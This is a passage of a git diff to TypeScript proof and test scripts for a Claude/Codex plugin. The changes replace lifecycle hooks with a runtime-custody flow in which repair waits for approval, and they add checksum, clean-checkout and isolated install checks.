contract failed`) +const coldXdg = join(extractedRoot, "cold-xdg") +for (const skillId of ["hello-world", "skill-a", "skill-b"]) { + const launcher = join(installedRoot, "bin", skillId) + const launcherText = readFileSync(launcher, "utf8") + if (!launcherText.includes(`runtime/runtime-exec\" run ${skillId} --`)) { + throw new Error(`packaged ${skillId} launcher is not bound to runtime custody`) + } + const missing = runPackaged(launcher, [], coldXdg) + if (missing.exitCode !== 20) throw new Error(`packaged ${skillId} did not return BUN_MISSING`) + const control = JSON.parse(missing.stdout) + if (control.code !== "BUN_MISSING" || !Array.isArray(control.sideEffects) || control.sideEffects.length !== 0) { + throw new Error(`packaged ${skillId} returned the wrong cold custody contract`) } } - -const assetManifest = JSON.parse( - readFileSync(join(installedRoot, "runtime", "quickjs-assets.json"), "utf8"), -) -for (const asset of Object.values(assetManifest.assets) as Array<{ - file: string - sha256: string - bytes: number -}>) { - const assetPath = join(installedRoot, "runtime", asset.file) - if (statSync(assetPath).size !== asset.bytes) throw new Error(`${asset.file} size mismatch`) - const digest = new Bun.CryptoHasher("sha256") - .update(readFileSync(assetPath)) - .digest("hex") - if (digest !== asset.sha256) throw new Error(`${asset.file} digest mismatch`) +if (lstatSync(coldXdg, { throwIfNoEntry: false }) !== undefined) { + throw new Error("packaged cold run mutated XDG state") } const checksums = JSON.parse(readFileSync(second.checksums, "utf8")) +const sha256 = (bytes: Uint8Array): string => + new Bun.CryptoHasher("sha256").update(bytes).digest("hex") +if ( + checksums.runtimeLockSha256 !== sha256(readFileSync(join(root, "runtime", "runtime.lock.json"))) || + checksums.bundleInventorySha256 !== + sha256(readFileSync(join(installedRoot, "runtime", "bundle-inventory.json"))) || + checksums.payloadInventorySha256 !== payloadInventorySha256(installedRoot, inventory) +) { + throw new Error("checksum metadata does not bind the runtime lock, bundle inventory, and payload inventory") +} const sourceCommit = process.env.SOURCE_COMMIT ?? process.env.GITHUB_SHA ?? Bun.spawnSync({ cmd: ["git", "rev-parse", "HEAD"], cwd: root, @@ -212,7 +203,9 @@ console.log( archiveSha256: second.archiveDigest, entries: entries.length, offlinePackageExecution: true, - bunRequiredAtRuntime: false, + bunRequiredAtRuntime: true, + userManagedBunRequired: false, + runtimeAcquisition: "agent-approved-repair", npmPublicationRequired: false, platforms: ["linux-x64", "linux-arm64", "darwin-arm64", "darwin-x64"], }), diff --git a/scripts/prove-dx.ts b/scripts/prove-dx.ts index 5ce9cea..59fdbb7 100644 --- a/scripts/prove-dx.ts +++ b/scripts/prove-dx.ts @@ -40,14 +40,11 @@ const codexManifest = JSON.parse( if (claudeManifest.version !== codexManifest.version) { throw new Error("native manifest versions do not match") } -if (claudeManifest.hooks !== "./hooks/claude/hooks.json") { - throw new Error("Claude manifest does not own its explicit hook adapter") +if (claudeManifest.hooks !== undefined || codexManifest.hooks !== undefined) { + throw new Error("runtime lifecycle hooks must not be active in native manifests") } -if (codexManifest.hooks !== "./hooks/codex/hooks.json") { - throw new Error("Codex manifest does not own its explicit hook adapter") -} -if (existsSync(join(root, "plugin", "hooks", "hooks.json"))) { - throw new Error("default hooks/hooks.json would be auto-discovered by both hosts") +if (existsSync(join(root, "plugin", "hooks"))) { + throw new Error("plugin payload must not carry runtime lifecycle hook definitions") } for (const marketplacePath of [ @@ -65,7 +62,7 @@ for (const required of [ "push:", "main", "bun run prove:distribution", - "git diff --exit-code -- plugin/runtime/hello-world.js", + "git diff --exit-code -- plugin/", ]) { if (!mainWorkflow.includes(required)) throw new Error(`main workflow is missing ${required}`) } diff --git a/scripts/prove-harness-install.test.ts b/scripts/prove-harness-install.test.ts index 6a3dc23..88bbe41 100644 --- a/scripts/prove-harness-install.test.ts +++ b/scripts/prove-harness-install.test.ts @@ -16,12 +16,13 @@ import { afterAll, beforeAll, expect, test } from "bun:test" import { admitGitTransport, assertReplacementAdmission, - codexHookTrustEvidence, copyMarketplaceDistribution, hostedMarketplaceSources, nativeHarnessEnvironment, proveHarnessInstall, redactTemporaryEvidencePath, + resolveCleanSourceCommit, + runtimeClosureEvidence, } from "./prove-harness-install" import { CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, @@ -34,6 +35,33 @@ let proof: ReturnType const claudeNativeTest = Bun.which("claude") ? test : test.skip const codexNativeTest = Bun.which("codex") ? test : test.skip +test("source-bound native receipts reject dirty checkout bytes", () => { + const fixtureRoot = mkdtempSync(join(tmpdir(), "native-receipt-source-")) + try { + const environment = { + ...process.env, + GIT_AUTHOR_NAME: "Receipt Test", + GIT_AUTHOR_EMAIL: "receipt@example.invalid", + GIT_COMMITTER_NAME: "Receipt Test", + GIT_COMMITTER_EMAIL: "receipt@example.invalid", + } + writeFileSync(join(fixtureRoot, "payload.txt"), "clean\n") + for (const command of [ + ["git", "init", "--quiet"], + ["git", "add", "payload.txt"], + ["git", "-c", "commit.gpgSign=false", "commit", "--quiet", "-m", "fixture"], + ]) { + const result = Bun.spawnSync({ cmd: command, cwd: fixtureRoot, env: environment }) + expect(result.exitCode).toBe(0) + } + expect(resolveCleanSourceCommit(fixtureRoot)).toMatch(/^[a-f0-9]{40}$/) + writeFileSync(join(fixtureRoot, "payload.txt"), "dirty\n") + expect(() => resolveCleanSourceCommit(fixtureRoot)).toThrow(/requires a clean source checkout/) + } finally { + rmSync(fixtureRoot, { recursive: true, force: true }) + } +}) + beforeAll(() => { proof = proveHarnessInstall(root) }, 60_000) @@ -83,6 +111,15 @@ test("release proof requires both native harness CLIs", () => { "bun run scripts/prove-harness-install.ts", ) expect(packageJson.scripts["prove:all"]).toContain("prove:harness-install -- --require-native") + expect(packageJson.scripts["prove:all"]).toContain("--fixture-acknowledged") +}) + +test("native runtime qualification requires explicit fixture acknowledgement", () => { + expect(() => + proveHarnessInstall(root, { + qualifyRuntimeJourney: true, + }), + ).toThrow("requires --fixture-acknowledged") }) test("native harness commands receive no publication credentials", () => { @@ -229,6 +266,10 @@ test("cleaned CLI proof reports that temporary evidence was removed", () => { expect(JSON.parse(result.stdout.toString())).toMatchObject({ ok: true, evidenceRetained: false, + codex: { + mode: "fixture-copy", + activation: null, + }, }) }, 60_000) @@ -382,36 +423,38 @@ codexNativeTest("Codex local refresh changes bytes (Codex CLI required; fallback expect(proof.codex.localRefresh.failureRestored).toBe(true) }) -test("AE8: Codex plugin enablement and hook trust remain separate before interactive acceptance", () => { - expect(proof.codex.trust).toMatchObject({ +test("Codex activation evidence matches the proof mode", () => { + if (proof.codex.mode === "fixture-copy") { + expect(proof.codex.activation).toBeNull() + return + } + expect(proof.codex.activation).toMatchObject({ pluginEnabled: true, - hookDefinitionPresent: true, - hookTrusted: false, - preTrustExecution: "skipped", - separateFromEnablement: true, + lifecycleHookPresent: false, + executionEntry: "explicit skill launcher", + runtimeRepairOwner: "agent workflow with human approval", }) }) -test("AE10: version and executable changes invalidate the prior exact hook definition", () => { - const before = codexHookTrustEvidence(join(proof.preflight.checkoutRoot, "plugin")) - const after = codexHookTrustEvidence(join(proof.targetPreflight.checkoutRoot, "plugin")) +test("AE10: a versioned release changes exact payload evidence without changing inventory", () => { + const before = runtimeClosureEvidence(join(proof.preflight.checkoutRoot, "plugin")) + const after = runtimeClosureEvidence(join(proof.targetPreflight.checkoutRoot, "plugin")) expect(before.version).not.toBe(after.version) - expect(before.command).toContain(`--plugin-version ${before.version}`) - expect(after.command).toContain(`--plugin-version ${after.version}`) - expect(before.definitionHash).not.toBe(after.definitionHash) - expect(before.executableClosureHash).not.toBe(after.executableClosureHash) - expect(proof.trustDefinitionChanged).toBe(true) + expect(before.inventoryHash).toBe(after.inventoryHash) + expect(before.payloadHash).not.toBe(after.payloadHash) + expect(proof.payloadClosureChanged).toBe(true) }) test.each([ "bin/hello-world", + "bin/skill-a", + "bin/skill-b", "runtime/hello-world.js", - "runtime/qjs-darwin-arm64", - "runtime/qjs-darwin-x86_64", - "runtime/qjs-linux-aarch64", - "runtime/qjs-linux-x86_64", -] as const)("AE10: changing only %s under a new version changes trust evidence", (changedPath) => { + "runtime/runtime-exec", + "runtime/runtime-lock.sh", + "runtime/skill-catalog.sh", +] as const)("AE10: changing only %s under a new version changes payload evidence", (changedPath) => { const variantRoot = join(proof.temporaryRoot, "closure-variants", changedPath.replaceAll("/", "-")) cpSync(join(proof.preflight.checkoutRoot, "plugin"), join(variantRoot, "plugin"), { recursive: true, @@ -426,11 +469,10 @@ test.each([ const changedFile = join(variantRoot, "plugin", changedPath) writeFileSync(changedFile, Buffer.concat([readFileSync(changedFile), Buffer.from("u6-change")])) - const before = codexHookTrustEvidence(join(proof.preflight.checkoutRoot, "plugin")) - const after = codexHookTrustEvidence(join(variantRoot, "plugin")) - expect(after.command).toContain(`--plugin-version ${config.version}`) - expect(after.definitionHash).not.toBe(before.definitionHash) - expect(after.executableClosureHash).not.toBe(before.executableClosureHash) + const before = runtimeClosureEvidence(join(proof.preflight.checkoutRoot, "plugin")) + const after = runtimeClosureEvidence(join(variantRoot, "plugin")) + expect(after.inventoryHash).toBe(before.inventoryHash) + expect(after.payloadHash).not.toBe(before.payloadHash) }) test("payload inspection failure occurs before an active install can change", () => { @@ -448,7 +490,7 @@ test("payload inspection failure occurs before an active install can change", () }) test.skip( - "interactive Codex /hooks acceptance proves exact-definition trust (requires a human interactive task)", + "Codex Desktop discovery and approved repair/retry smoke has a named manual receipt", () => {}, ) @@ -458,6 +500,6 @@ test.skip( ) test.skip( - "hosted Git marketplace fresh task runs the selected hook (requires live model access)", + "hosted Git marketplace fresh task discovers and runs the selected skill (requires live model access)", () => {}, ) diff --git a/scripts/prove-harness-install.ts b/scripts/prove-harness-install.ts index 79fbb57..0296882 100644 --- a/scripts/prove-harness-install.ts +++ b/scripts/prove-harness-install.ts @@ -22,23 +22,26 @@ import { import { provePostMutationRecovery, } from "./harness-install-recovery" -import { copyPluginPayload, pluginPayloadInventory } from "./plugin-files" +import { copyPluginPayload, payloadInventorySha256, pluginPayloadInventory } from "./plugin-files" import { CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, loadPluginConfig, type PluginConfig, writeGeneratedFiles, } from "./plugin-config" +import { requireProofControlEnvelope } from "./proof-control-envelope" +import { currentRuntimeTarget } from "./prove-runtime-platform" const help = `Prove tagged plugin installation in isolated Claude and Codex homes. Usage: - bun run prove:harness-install [--require-native | --allow-fixture-copy] [--json] + bun run prove:harness-install [--require-native --fixture-acknowledged | --allow-fixture-copy] [--json] bun run prove:harness-install --help Options: --json Emit the proof report as JSON. This is also the default output. --require-native Explicitly require both native CLIs (the default). + --fixture-acknowledged Allow isolated repair mutation in native qualification. Never claims human approval. --allow-fixture-copy Development-only byte proof when native CLIs are unavailable. -h, --help Show this help. @@ -214,14 +217,12 @@ export interface CodexProof { enabledStateRestored: boolean failureRestored: boolean } - trust: { + activation: { pluginEnabled: boolean - hookDefinitionPresent: boolean - hookTrusted: false - preTrustExecution: "skipped" - separateFromEnablement: true - interactiveAcceptance: string - } + lifecycleHookPresent: false + executionEntry: "explicit skill launcher" + runtimeRepairOwner: "agent workflow with human approval" + } | null } interface HarnessInstallProof { @@ -234,8 +235,12 @@ interface HarnessInstallProof { restorationPreflight: TaggedCheckout claude: ClaudeProof codex: CodexProof + runtimeJourneys?: { + claude: NativeRuntimeJourney + codex: NativeRuntimeJourney + } versionAgreement: true - trustDefinitionChanged: true + payloadClosureChanged: true skips: HarnessSkip[] nextAction: string } @@ -243,6 +248,27 @@ interface HarnessInstallProof { export interface HarnessInstallProofOptions { /** Require both real harness CLIs; fixture copies cannot qualify CI or release. */ requireNative?: boolean + /** Run missing, preview, repair, retry, and corrupt-recovery journeys from installed payloads. */ + qualifyRuntimeJourney?: boolean + /** Explicit CI/test acknowledgement for isolated repair mutation; never a human-approval claim. */ + fixtureAcknowledged?: boolean +} + +interface NativeRuntimeJourney { + kind: "installed-payload-mechanics" + client: "claude-cli" | "codex-cli" + target: string + repository: string + sourceCommit: string + version: string + runtimeLockSha256: string + payloadHash: string + bundleInventorySha256: string + approvalPrompt: string + fixtureAcknowledged: true + humanApprovalClaimed: false + agentWorkflowProved: false + journey: string[] } interface NativeHarnessExecutables { @@ -465,14 +491,6 @@ function createFixtureRelease(sourceRoot: string, temporaryRoot: string): Fixtur `${JSON.stringify(targetConfig, null, 2)}\n`, ) writeGeneratedFiles(repositoryRoot, targetConfig) - const runtimePath = join(repositoryRoot, "plugin", "runtime", "hello-world.js") - writeFileSync( - runtimePath, - readFileSync(runtimePath, "utf8").replace( - `const PLUGIN_VERSION = "${config.version}";`, - `const PLUGIN_VERSION = "${targetConfig.version}";`, - ), - ) const targetRef = `v${targetConfig.version}` snapshotFixture(repositoryRoot, targetRef, `release ${targetRef}`) @@ -1067,57 +1085,203 @@ export function assertReplacementAdmission( } /** - * Bind Codex trust review to the version-bearing hook command and executable closure bytes. + * Bind native-install review to the exact versioned plugin payload bytes. * * @param pluginRoot - Installed plugin payload root - * @returns Exact definition and executable-closure hashes used for review comparison - * @throws {Error} When the hook definition omits the installed manifest version + * @returns Exact inventory and payload hashes used for review comparison * * @example * ```typescript - * const evidence = codexHookTrustEvidence(installedPath) + * const evidence = runtimeClosureEvidence(installedPath) * ``` */ -export function codexHookTrustEvidence(pluginRoot: string): { +export function runtimeClosureEvidence(pluginRoot: string): { version: string - command: string - definitionHash: string - executableClosureHash: string + inventoryHash: string + payloadHash: string } { const manifest = JSON.parse( readFileSync(join(pluginRoot, ".codex-plugin", "plugin.json"), "utf8"), ) - const hooks = JSON.parse(readFileSync(join(pluginRoot, "hooks", "codex", "hooks.json"), "utf8")) - const commandDefinition = hooks.hooks.SessionStart[0].hooks[0].command as string - if (!commandDefinition.includes(`--plugin-version ${manifest.version}`)) { - throw new Error("Codex hook definition does not carry the installed plugin version") + const inventory = regularFiles(pluginRoot) + return { + version: manifest.version, + inventoryHash: createHash("sha256").update(inventory.join("\0")).digest("hex"), + payloadHash: payloadInventorySha256(pluginRoot, inventory), + } +} + +function nativeRuntimeTarget(): string { + const target = currentRuntimeTarget() + if (!target) { + throw new Error(`native runtime qualification does not support ${process.platform}-${process.arch}`) } - const closure = [ - "bin/hello-world", - "runtime/hello-world.js", - ...readdirSync(join(pluginRoot, "runtime")) - .filter((entry) => entry.startsWith("qjs-")) - .map((entry) => `runtime/${entry}`), - ].sort() - const closureHash = createHash("sha256") - for (const relativePath of closure) { - closureHash.update(relativePath) - closureHash.update("\0") - closureHash.update(readFileSync(join(pluginRoot, relativePath))) + return target +} + +function runInstalledRuntime( + pluginRoot: string, + cacheRoot: string, + commandArguments: string[], +): ReturnType { + return Bun.spawnSync({ + cmd: commandArguments, + cwd: pluginRoot, + env: { + HOME: cacheRoot, + XDG_CACHE_HOME: cacheRoot, + PATH: "/usr/bin:/bin:/usr/local/bin:/opt/homebrew/bin", + }, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + timeout: 180_000, + }) +} + +function proveNativeRuntimeJourney( + client: NativeRuntimeJourney["client"], + pluginRoot: string, + temporaryRoot: string, + corruptRecovery: boolean, + identity: Pick, +): NativeRuntimeJourney { + const target = nativeRuntimeTarget() + const cacheRoot = join(temporaryRoot, "runtime-journeys", client) + mkdirSync(cacheRoot, { recursive: true, mode: 0o700 }) + const launcher = join(pluginRoot, "bin", client === "claude-cli" ? "skill-a" : "skill-b") + const engine = join(pluginRoot, "runtime", "runtime-exec") + const missing = requireProofControlEnvelope( + `${client} cold run`, + runInstalledRuntime(pluginRoot, cacheRoot, [launcher]), + 20, + "BUN_MISSING", + ) + if (missing.sideEffects.length !== 0) throw new Error(`${client} cold run mutated custody state`) + const preview = requireProofControlEnvelope( + `${client} repair preview`, + runInstalledRuntime(pluginRoot, cacheRoot, [engine, "repair"]), + 0, + "REPAIR_PREVIEW", + ) + if (!preview.nextAction.includes("Ask the user to approve") || preview.sideEffects.length !== 0) { + throw new Error(`${client} repair preview did not expose the plain-language approval boundary`) + } + const applied = requireProofControlEnvelope( + `${client} acknowledged repair`, + runInstalledRuntime(pluginRoot, cacheRoot, [engine, "repair", "--apply"]), + 0, + "REPAIR_APPLIED", + ) + const executableSha256 = applied.runtime?.executableSha256 + if (typeof executableSha256 !== "string") throw new Error(`${client} repair omitted runtime identity`) + const retry = runInstalledRuntime(pluginRoot, cacheRoot, [launcher]) + if (retry.exitCode !== 0) throw new Error(`${client} agent retry failed: ${retry.stderr}`) + JSON.parse(retry.stdout.toString()) + + const journey = [ + "BUN_MISSING", + "REPAIR_PREVIEW", + "FIXTURE_ACKNOWLEDGED", + "REPAIR_APPLIED", + "launcher-retry", + ] + if (corruptRecovery) { + const runtimePath = join(cacheRoot, "agent-plugin-runtime", "bun", executableSha256, "bun") + writeFileSync(runtimePath, "corrupt runtime fixture\n") + requireProofControlEnvelope( + `${client} corrupt run`, + runInstalledRuntime(pluginRoot, cacheRoot, [launcher]), + 20, + "REPAIR_REQUIRED", + ) + const corruptPreview = requireProofControlEnvelope( + `${client} corrupt repair preview`, + runInstalledRuntime(pluginRoot, cacheRoot, [engine, "repair"]), + 0, + "REPAIR_PREVIEW", + ) + if (!corruptPreview.nextAction.includes("Ask the user to approve")) { + throw new Error(`${client} corrupt recovery omitted the approval boundary`) + } + requireProofControlEnvelope( + `${client} corrupt repair`, + runInstalledRuntime(pluginRoot, cacheRoot, [engine, "repair", "--apply"]), + 0, + "REPAIR_APPLIED", + ) + const recovered = runInstalledRuntime(pluginRoot, cacheRoot, [launcher]) + if (recovered.exitCode !== 0) throw new Error(`${client} corrupt recovery retry failed`) + JSON.parse(recovered.stdout.toString()) + journey.push( + "REPAIR_REQUIRED", + "REPAIR_PREVIEW", + "FIXTURE_ACKNOWLEDGED", + "REPAIR_APPLIED", + "launcher-retry", + ) } + + const closure = runtimeClosureEvidence(pluginRoot) return { - version: manifest.version, - command: commandDefinition, - definitionHash: createHash("sha256").update(commandDefinition).digest("hex"), - executableClosureHash: closureHash.digest("hex"), + kind: "installed-payload-mechanics", + client, + target, + ...identity, + version: closure.version, + payloadHash: closure.payloadHash, + bundleInventorySha256: createHash("sha256") + .update(readFileSync(join(pluginRoot, "runtime", "bundle-inventory.json"))) + .digest("hex"), + approvalPrompt: preview.nextAction, + fixtureAcknowledged: true, + humanApprovalClaimed: false, + agentWorkflowProved: false, + journey, } } +/** Resolve the exact commit used by a source-bound native receipt, refusing dirty bytes. */ +export function resolveCleanSourceCommit(repositoryRoot: string): string { + const sourceStatus = Bun.spawnSync({ + cmd: ["git", "status", "--porcelain=v1", "--untracked-files=all"], + cwd: repositoryRoot, + stdout: "pipe", + stderr: "pipe", + }) + if (sourceStatus.exitCode !== 0) { + throw new Error("native receipt could not verify source checkout cleanliness") + } + if (sourceStatus.stdout.toString().trim() !== "") { + throw new Error( + "native runtime qualification requires a clean source checkout so sourceCommit matches the installed payload bytes", + ) + } + const sourceCommitResult = Bun.spawnSync({ + cmd: ["git", "rev-parse", "HEAD"], + cwd: repositoryRoot, + stdout: "pipe", + stderr: "pipe", + }) + if (sourceCommitResult.exitCode !== 0) { + throw new Error("native receipt could not resolve source commit") + } + const sourceCommit = sourceCommitResult.stdout.toString().trim() + if (!/^[a-f0-9]{40}$/.test(sourceCommit)) { + throw new Error("native receipt source commit is invalid") + } + return sourceCommit +} + function runHarnessInstallProof( repositoryRoot: string, temporaryRoot: string, executables: NativeHarnessExecutables, + qualifyRuntimeJourney: boolean, ): HarnessInstallProof { + const sourceCommit = qualifyRuntimeJourney + ? resolveCleanSourceCommit(repositoryRoot) + : undefined const fixture = createFixtureRelease(repositoryRoot, temporaryRoot) admitGitTransport({ source: fixture.repositoryRoot, @@ -1131,10 +1295,17 @@ function runHarnessInstallProof( removable: true, }) const pluginConfig = loadPluginConfig(repositoryRoot) + const nativeIdentity = { + repository: pluginConfig.repository, + sourceCommit: sourceCommit ?? fixture.base.resolvedSha, + runtimeLockSha256: createHash("sha256") + .update(readFileSync(join(repositoryRoot, "runtime", "runtime.lock.json"))) + .digest("hex"), + } const skips: HarnessSkip[] = [ { - case: "Codex interactive /hooks trust acceptance", - reason: "Trust acceptance requires a human interactive task; proof records enabled plus untrusted pre-task state instead.", + case: "Codex Desktop discovery and approved repair/retry smoke", + reason: "A named manual release receipt in private XDG state owns the Desktop interaction.", }, { case: "Private SSH/HTTPS marketplace fetch and background refresh", @@ -1170,17 +1341,35 @@ function runHarnessInstallProof( reason: "Codex CLI unavailable; isolated direct-copy cache evidence remains byte-complete.", }) } - const trustBase = codexHookTrustEvidence(join(fixture.base.checkoutRoot, "plugin")) - const trustTarget = codexHookTrustEvidence(join(fixture.target.checkoutRoot, "plugin")) + const trustBase = runtimeClosureEvidence(join(fixture.base.checkoutRoot, "plugin")) + const trustTarget = runtimeClosureEvidence(join(fixture.target.checkoutRoot, "plugin")) if ( - trustBase.definitionHash === trustTarget.definitionHash || - trustBase.executableClosureHash === trustTarget.executableClosureHash + trustBase.inventoryHash !== trustTarget.inventoryHash || + trustBase.payloadHash === trustTarget.payloadHash ) { - throw new Error("Codex release change did not invalidate exact-definition trust evidence") + throw new Error("release change did not preserve inventory while changing exact payload bytes") } const versionAgreement = claude.version === fixture.base.manifestVersion && codex.version === fixture.base.manifestVersion if (!versionAgreement) throw new Error("Claude and Codex installed versions do not agree with the tag") + const runtimeJourneys = qualifyRuntimeJourney + ? { + claude: proveNativeRuntimeJourney( + "claude-cli", + claude.activeCachePath, + temporaryRoot, + false, + nativeIdentity, + ), + codex: proveNativeRuntimeJourney( + "codex-cli", + codex.installedPath, + temporaryRoot, + true, + nativeIdentity, + ), + } + : undefined return { ok: true, runId: randomUUID(), @@ -1191,10 +1380,11 @@ function runHarnessInstallProof( restorationPreflight: fixture.base, claude, codex, + runtimeJourneys, versionAgreement, - trustDefinitionChanged: true, + payloadClosureChanged: true, skips, - nextAction: "Review the JSON evidence; run hosted and interactive qualifications only when their paths changed.", + nextAction: "Review the installed-payload mechanics evidence. Before release, capture candidate-bound Claude task, Codex task, and Codex Desktop human-approval receipts; this fixture does not claim agent workflow proof.", } } @@ -1223,11 +1413,22 @@ export function proveHarnessInstall( const missing = [!executables.claude && "claude", !executables.codex && "codex"].filter(Boolean) throw new Error(`native harness CLIs are required; missing: ${missing.join(", ")}`) } + if (options.qualifyRuntimeJourney && !options.fixtureAcknowledged) { + throw new Error("native runtime qualification requires --fixture-acknowledged before repair --apply") + } + if (options.qualifyRuntimeJourney && (!executables.claude || !executables.codex)) { + throw new Error("native runtime qualification requires both native harness CLIs") + } const repositoryRoot = resolve(sourceRoot) pluginPayloadInventory(repositoryRoot) const temporaryRoot = mkdtempSync(join(tmpdir(), "harness-install-proof-")) try { - return runHarnessInstallProof(repositoryRoot, temporaryRoot, executables) + return runHarnessInstallProof( + repositoryRoot, + temporaryRoot, + executables, + options.qualifyRuntimeJourney === true, + ) } catch (error) { rmSync(temporaryRoot, { recursive: true, force: true }) throw error @@ -1241,7 +1442,12 @@ if (import.meta.main) { process.exit(0) } for (const argument of arguments_) { - if (argument !== "--json" && argument !== "--require-native" && argument !== "--allow-fixture-copy") { + if ( + argument !== "--json" && + argument !== "--require-native" && + argument !== "--fixture-acknowledged" && + argument !== "--allow-fixture-copy" + ) { console.error(`Error: unknown option: ${argument}`) console.error("Run `bun run prove:harness-install -- --help` for usage.") process.exit(2) @@ -1252,9 +1458,16 @@ if (import.meta.main) { console.error("Run `bun run prove:harness-install -- --help` for usage.") process.exit(2) } + if (arguments_.includes("--fixture-acknowledged") && arguments_.includes("--allow-fixture-copy")) { + console.error("Error: --fixture-acknowledged cannot be combined with --allow-fixture-copy") + process.exit(2) + } try { + const nativeQualification = !arguments_.includes("--allow-fixture-copy") const proof = proveHarnessInstall(resolve(import.meta.dir, ".."), { - requireNative: !arguments_.includes("--allow-fixture-copy"), + requireNative: nativeQualification, + qualifyRuntimeJourney: nativeQualification, + fixtureAcknowledged: arguments_.includes("--fixture-acknowledged"), }) const temporaryRoot = proof.temporaryRoot const cleanedProof = { ...proof, evidenceRetained: false } diff --git a/scripts/prove-quickjs-ci.ts b/scripts/prove-quickjs-ci.ts deleted file mode 100644 index 91613dc..0000000 --- a/scripts/prove-quickjs-ci.ts +++ /dev/null @@ -1,49 +0,0 @@ -import { readFileSync } from "node:fs" -import { join, resolve } from "node:path" - -const root = resolve(import.meta.dir, "..") -const workflowPath = join(root, ".github", "workflows", "plugin-ci.yml") - -for (const command of [ - ["bun", "run", "spike:quickjs:ci"], - ["bun", "run", "prove:distribution"], -]) { - const result = Bun.spawnSync({ - cmd: command, - cwd: root, - env: { ...process.env, CI: "true" }, - stdout: "inherit", - stderr: "inherit", - }) - if (result.exitCode !== 0) process.exit(result.exitCode) -} - -const workflow = readFileSync(workflowPath, "utf8") -for (const required of [ - "ubuntu-24.04", - "ubuntu-24.04-arm", - "macos-15", - "macos-15-intel", - "bun run spike:quickjs:ci", - "bun run prove:distribution", - "actions/attest", - "github.event.repository.private == false", -]) { - if (!workflow.includes(required)) throw new Error(`plugin workflow is missing ${required}`) -} - -const actionReferences = [...workflow.matchAll(/uses: [^@\s]+@([^\s]+)/g)].map( - (match) => match[1], -) -if (actionReferences.some((reference) => !/^[a-f0-9]{40}$/.test(reference))) { - throw new Error("plugin workflow contains an action that is not pinned to a commit SHA") -} - -console.log( - JSON.stringify({ - ok: true, - matrix: ["linux-x64", "linux-arm64", "darwin-arm64", "darwin-x64"], - deterministicPackage: true, - attestation: "configured for public main repositories after the compatibility matrix passes", - }), -) diff --git a/scripts/prove-runtime-custody.ts b/scripts/prove-runtime-custody.ts new file mode 100644 index 0000000..f8e8487 --- /dev/null +++ b/scripts/prove-runtime-custody.ts @@ -0,0 +1,111 @@ +import { chmodSync, mkdirSync, mkdtempSync, readdirSync, rmSync } from "node:fs" +import { tmpdir } from "node:os" +import { join, resolve } from "node:path" + +const root = resolve(import.meta.dir, "..") +const negativeSuiteFile = "scripts/runtime-custody-exec.test.ts" + +// Step 1: the exhaustive negative suite is the custody behavior proof, +// including concurrency, interruption, and killed-writer coverage. +const suite = Bun.spawnSync({ + cmd: [process.execPath, "test", negativeSuiteFile], + cwd: root, + env: { ...process.env }, + stdout: "inherit", + stderr: "inherit", +}) +if (suite.exitCode !== 0) process.exit(suite.exitCode ?? 1) + +// Step 2: real-payload smoke. The checked-in engine and projections run +// against an isolated empty private store; nothing here touches the network. +const isolationRoot = mkdtempSync(join(tmpdir(), "runtime-custody-proof-")) +chmodSync(isolationRoot, 0o700) +const cacheRoot = join(isolationRoot, "cache") +mkdirSync(cacheRoot, { mode: 0o700 }) + +interface Envelope { + schemaVersion: number + ok: boolean + code: string + sideEffects: string[] + retrySafe: boolean + nextAction: string +} + +function runEngine(args: string[]): ReturnType { + return Bun.spawnSync({ + cmd: [join(root, "plugin", "runtime", "runtime-exec"), ...args], + cwd: root, + env: { + HOME: isolationRoot, + XDG_CACHE_HOME: cacheRoot, + PATH: "/usr/bin:/bin", + }, + stdout: "pipe", + stderr: "pipe", + }) +} + +function requireEnvelope( + step: string, + result: ReturnType, + expected: { exitCode: number; ok: boolean; code: string }, +): Envelope { + if (result.exitCode !== expected.exitCode) { + throw new Error( + `${step}: expected exit ${expected.exitCode}, received ${result.exitCode}\n${result.stderr.toString()}`, + ) + } + const lines = result.stdout.toString().trim().split("\n") + if (lines.length !== 1) { + throw new Error(`${step}: expected exactly one JSON control line, received ${lines.length}`) + } + const envelope = JSON.parse(lines[0]) as Envelope + if (envelope.ok !== expected.ok || envelope.code !== expected.code) { + throw new Error( + `${step}: expected ok=${expected.ok} code=${expected.code}, received ok=${envelope.ok} code=${envelope.code}`, + ) + } + return envelope +} + +try { + const run = requireEnvelope("run skill-a with empty store", runEngine(["run", "skill-a"]), { + exitCode: 20, + ok: false, + code: "BUN_MISSING", + }) + if (run.sideEffects.length !== 0) { + throw new Error(`run skill-a reported side effects: ${JSON.stringify(run.sideEffects)}`) + } + + const preview = requireEnvelope("repair preview with empty store", runEngine(["repair"]), { + exitCode: 0, + ok: true, + code: "REPAIR_PREVIEW", + }) + if (preview.sideEffects.length !== 0) { + throw new Error(`repair preview reported side effects: ${JSON.stringify(preview.sideEffects)}`) + } + + // Read-only proof: run and preview left the isolated store untouched. + const residue = readdirSync(cacheRoot) + if (residue.length !== 0) { + throw new Error(`isolated store is no longer empty: ${JSON.stringify(residue)}`) + } + + console.log( + JSON.stringify({ + ok: true, + negativeSuite: { file: negativeSuiteFile, exitCode: 0 }, + smoke: { + run: { exitCode: 20, code: "BUN_MISSING" }, + repairPreview: { exitCode: 0, code: "REPAIR_PREVIEW" }, + isolatedStoreEmpty: true, + }, + sideEffects: "none", + }), + ) +} finally { + rmSync(isolationRoot, { recursive: true, force: true }) +} diff --git a/scripts/prove-runtime-platform.test.ts b/scripts/prove-runtime-platform.test.ts new file mode 100644 index 0000000..71bf82d --- /dev/null +++ b/scripts/prove-runtime-platform.test.ts @@ -0,0 +1,118 @@ +import { expect, test } from "bun:test" +import { readFileSync } from "node:fs" +import { resolve } from "node:path" + +import { + currentRuntimeTarget, + networkIsolatedCommand, + parsePlatformProofOptions, +} from "./prove-runtime-platform" + +const root = resolve(import.meta.dir, "..") + +test("platform proof requires explicit fixture acknowledgement before repair apply", () => { + expect(() => + parsePlatformProofOptions([ + "--archive", + "candidate.tar.gz", + "--checksums", + "candidate.checksums.json", + "--target", + "linux-x64", + ]), + ).toThrow("--fixture-acknowledged is required") +}) + +test("platform proof admits exactly the four reviewed targets", () => { + const options = parsePlatformProofOptions([ + "--archive", + "candidate.tar.gz", + "--checksums", + "candidate.checksums.json", + "--target", + "darwin-arm64", + "--fixture-acknowledged", + ]) + expect(options.target).toBe("darwin-arm64") + expect(options.fixtureAcknowledged).toBe(true) + expect(() => + parsePlatformProofOptions([ + "--archive", + "candidate.tar.gz", + "--checksums", + 